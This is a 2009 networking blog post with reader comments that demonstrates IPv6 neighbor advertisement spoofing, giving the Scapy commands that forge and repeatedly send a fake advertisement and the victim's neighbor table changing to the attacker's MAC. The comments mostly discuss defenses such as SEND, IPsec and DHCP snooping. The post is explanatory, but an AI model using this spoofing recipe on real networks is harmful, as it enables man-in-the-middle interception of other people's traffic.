IPv6 neighbor spoofing

By stretch | Monday, February 2, 2009 at 3:09 p.m. UTC

IPv4 over Ethernet, by far the most widely deployed LAN technology, has long been plagued by its vulnerability to a simple layer two attack known as ARP spoofing. To oversimplify, ARP spoofing is achieved when a malicious attacker crafts a gratuitous ARP advertisement purporting to be from another host on the LAN, typically the default gateway. By pretending to be the default gateway for a subnet, the attacker can intercept all traffic from the victim host(s) in a man-in-the-middle (MITM) attack.

However, with the (eventual) migration to IPv6, ARP is being phased out, so ARP spoofing should no longer be a problem, right? Wrong. Sort of. While it's true ARP does not exist in the IPv6 protocol stack, IPv6 instead relies on ICMPv6 for many of the same operations carried out via ARP under IPv4. Collectively, these functions make up IPv6's Neighbor Discovery (ND) protocol, described in RFC 4861.

Most similar to typical ARP usage under IPv4 is the ND address resolution function, which is used when a host wants to transmit to an on-link prefix but doesn't yet know the layer two address of the destination host. The sending host multicasts a neighbor solicitation, and the destination host, if reachable, responds with a neighbor advertisement containing its layer two address.


Unfortunately, as in ARP, these exchanges are completely unsecured. There are no countermeasures in place to prevent an attacker from generating a neighbor advertisement advertising his own layer two address as belonging to other hosts on the link.


We can put this theory into practice by fabricating our own custom neighbor advertisements and unicasting them to our intended victim. For this example, we'll use Scapy to craft our malicious advertisement layer by layer:

>>> ls(Ether)
dst        : DestMACField         = (None)
src        : SourceMACField       = (None)
type       : XShortEnumField      = (0)
>>> ether=(Ether(dst='00:00:00:00:00:0b', src='00:00:00:00:00:0c'))
>>> ls(IPv6)
version    : BitField             = (6)
tc         : BitField             = (0)
fl         : BitField             = (0)
plen       : ShortField           = (None)
nh         : ByteEnumField        = (59)
hlim       : ByteField            = (64)
src        : SourceIP6Field       = (None)
dst        : IP6Field             = ('::1')
>>> ipv6=IPv6(src='fe80::1', dst='fe80::2')
>>> ls(ICMPv6ND_NA)
type       : ByteEnumField        = (136)
code       : ByteField            = (0)
cksum      : XShortField          = (None)
R          : BitField             = (1)
S          : BitField             = (0)
O          : BitField             = (1)
res        : XBitField            = (0)
tgt        : IP6Field             = ('::')
>>> na=ICMPv6ND_NA(tgt='fe80::1', R=0)
>>> ls(ICMPv6NDOptDstLLAddr)
type       : ByteField            = (2)
len        : ByteField            = (1)
lladdr     : MACField             = ('00:00:00:00:00:00')
>>> lla=ICMPv6NDOptDstLLAddr(lladdr='00:00:00:00:00:0c')

Once we've constructed the individual layers of the packet, we can see how they look after being welded together (notice that Scapy will handle minor aspects automatically, like setting the Ethernet type field to 0x86dd for IPv6).

>>> (ether/ipv6/na/lla).display()
###[ Ethernet ]###
  dst= 00:00:00:00:00:0b
  src= 00:00:00:00:00:0c
  type= 0x86dd
###[ IPv6 ]###
   version= 6
   tc= 0
   fl= 0
   plen= None
   nh= ICMPv6
   hlim= 255
   src= fe80::1
   dst= fe80::2
###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]###
    type= Neighbor Advertisement
    code= 0
    cksum= 0x0
    R= 0
    S= 0
    O= 1
    res= 0x0
    tgt= fe80::1
###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address ]###
       type= 2
       len= 1
       lladdr= 00:00:00:00:00:0c

We can now inject this packet at regular intervals onto the LAN. The following command within Scapy will retransmit the packet every five seconds:

>>> sendp(ether/ipv6/na/lla, iface='br0', loop=1, inter=5)

At a console on the victim machine (running Linux), we can use the ip utility to monitor IPv6 neighbors on the link. Notice that the MAC address for fe80::1 is initially listed as 00:00:00:00:00:0a, the legitimate gateway, but as soon as we begin injecting our malicious neighbor advertisement, the entry is updated to 00:00:00:00:00:0c, our attacking machine.

Victim$ ip neigh show dev eth0
fe80::1 lladdr 00:00:00:00:00:0a REACHABLE
Victim$ ip neigh show dev eth0
fe80::1 lladdr 00:00:00:00:00:0a REACHABLE
Victim$ ip neigh show dev eth0
fe80::1 lladdr 00:00:00:00:00:0a REACHABLE
Victim$ ip neigh show dev eth0
fe80::1 lladdr 00:00:00:00:00:0c DELAY
Victim$ ip neigh show dev eth0
fe80::1 lladdr 00:00:00:00:00:0c REACHABLE
Victim$ ip neigh show dev eth0
fe80::1 lladdr 00:00:00:00:00:0c REACHABLE
Victim$ ip neigh show dev eth0
fe80::1 lladdr 00:00:00:00:00:0c REACHABLE

You can see this attack as it appears on the wire in this handy packet capture. The address resolutions which occur in packets #1/2, and #15/16 are legitimate. Our malicious advertisements are injected at five-second intervals in packets #33, #39, and #45.

About the Author

Jeremy Stretch is a network engineer living in the Raleigh-Durham, North Carolina area. He is known for his blog and cheat sheets here at Packet Life. You can reach him by email or follow him on Twitter.

Posted in IPv6, Routing


Kris (guest)
February 2, 2009 at 8:17 p.m. UTC

I stumbled across this (by accident) over a year ago. My imediate reaction was to block v6 at all Edge-ports. The next day I thought about it and tried to find a way to provide at least some clients the possibility to use it (in case someone would request it for something he/she really needed), but in the end gave up. I figured that its just a matter of time until more v6-problems would surface... and so it stayed disabled. Honestly I don't plan enabling v6 before 2014 again (the next generation of Edge-hardware - maybe .1xREV will be worth it?).

packeteer (guest)
February 2, 2009 at 10:10 p.m. UTC

oh, good to see you've found scapy. I've known about it for awhile but I suck at using it. hint tutorial hint :)

mgk (guest)
February 3, 2009 at 12:52 p.m. UTC

this is not really a new problem, is it? it is like in IPv4... and who is actually using all those "anti-arp-spoofing" features in current switches?

Let's hope SEND (Secure ND) will be implemented soon by as many vendors as possible. Do you have any news on that? Right now it seems to be a powerpoint standard without implementation...

Chris Campbell (guest)
February 4, 2009 at 3:53 p.m. UTC

ARP spoofing is what gives us failover on many devices so it's not all bad!

lh (guest)
February 4, 2009 at 4:14 p.m. UTC

Dhcp snooping mitigate arp poisoning in IPv4, sure IPv6 will be handled the same ...

Herr Nilsson (guest)
February 5, 2009 at 3:39 p.m. UTC

Let me think now......

Shouldn't a function that blocked RA (Router Advertisements) and Illigal NA:s on the accessswitches and only allow thoose you get via DHCPv6. Functions like IPsourceguard and DHCP snooping are nonexistant today on Cisco (and their competitiors) equipment. I think that implementing SEND which involves cryptography will be difficult task. An aditional thing that complicates it all is the fact that LinkLocal addresses are not provided via DHCP and therefore can't be snooped on the access switches or AP:s.

....and we were told IPv6 would improve security. ;)

Cheers Anders Nilsson UMDAC Sweden

shirwa (guest)
February 5, 2009 at 3:57 p.m. UTC

I Though ipsec which is part of IPv6 can prevent this attack.

MichiganTechie (guest)
February 10, 2009 at 1:39 p.m. UTC

See http://tools.ietf.org/html/draft-chown-v6ops-rogue-ra-02: "Rogue IPv6 Router Advertisement Problem Statement"

Jen Linkova (guest)
February 15, 2009 at 3:03 a.m. UTC

As mentioned above, SEND and CGA are designed to help.

Marc (guest)
March 1, 2009 at 8:25 p.m. UTC

Nothing new, and not specific to IPv6. The answer is to use IPsec, as usual.

Karsten (guest)
March 2, 2009 at 7:32 a.m. UTC

SeND is in 12.4(24)T, so there is still hope ... ;-)

www.z64.ca (guest)
March 11, 2009 at 2:08 a.m. UTC

you are pretty good ... are you looking for a job ... ? if so I'm in canada

RaiulBaztepo (guest)
March 28, 2009 at 8:43 p.m. UTC

Very Interesting post! Thank you for such interesting resource!
PS: Sorry for my bad english, I'v just started to learn this language ;)
See you!
Your, Raiul Baztepo

sgiovanni (guest)
March 31, 2009 at 7:31 p.m. UTC

Hi thanks for your intresting site and tips !!!

imMute (guest)
November 30, 2010 at 1:29 a.m. UTC

It seems that the same problem is still present - the attack is just a bit different. If I was a host on this network, what methods would I have to ensure that the other host I'm sending my packets to is actually a router and not a malicious MITM? TBH, the only answer I can think of is "you can't". I like to follow the ideology that if you don't trust the local network, then make sure they can't read or change the data you are sending out - this mean end-to-end encryption.

tl;dr> Let's just table the idea that we can stop these kinds of attacks, and just render them completely useless by using E2E encryption. :)

r22d22 (guest)
March 4, 2011 at 12:54 p.m. UTC


i tried this in my own lan. But it doesn't work.
I tried to send an neighbor-advertisement witch the real mac-address and an global ipv6-addresses. this part works very well. The packets reached the victim. I checked this with wireshark.
But the victim didn't change the mac for the ipv6-address. It did an nd-requst to the multicast-address for nd and found the right mac-address for the ipv6-address and the link-local ipv6-address. I checked this with wireshark although.
I tried this witch an linux-client and an xp-client.

Then i tried to do an mitm with scapy and ipv4. that works very well.

nick (guest)
March 10, 2011 at 12:54 p.m. UTC

i would like to ask you if it is possible to spoof a range of ipv6 addresses and not
only one, as you demonstrate in the above example.

Thank you in advance

r22d22 (guest)
June 2, 2011 at 7:58 p.m. UTC

hi nick,

spoofing of an /64 network means to spoof 18446700000000000000 Addresses.
In IPv6 there is no Broadcastaddress. That means you have to sent 18446700000000000000 Pakets with the right Multicastaddresses.
If you are able to sent 1000000 Pakats per second you have to wait 18446700000000 seconds or approx 213503472 days.

So it is possible ... but nobody has enough time.



A guest
December 13, 2011 at 11:04 p.m. UTC


In iniqua.com have written a very interesting post on this topic. You can find in:



Mike (guest)
December 13, 2012 at 3:49 a.m. UTC

It seems like you are all forgetting how we mitigate this attack for version 4 without fancy tools or IPsec.... static addressing!

Leave a Comment

Optional; will not be displayed publicly or given out.
No commercial links. Only personal (e.g. blog, Twitter, or LinkedIn) and/or on-topic links, please.
How many bits are in a byte?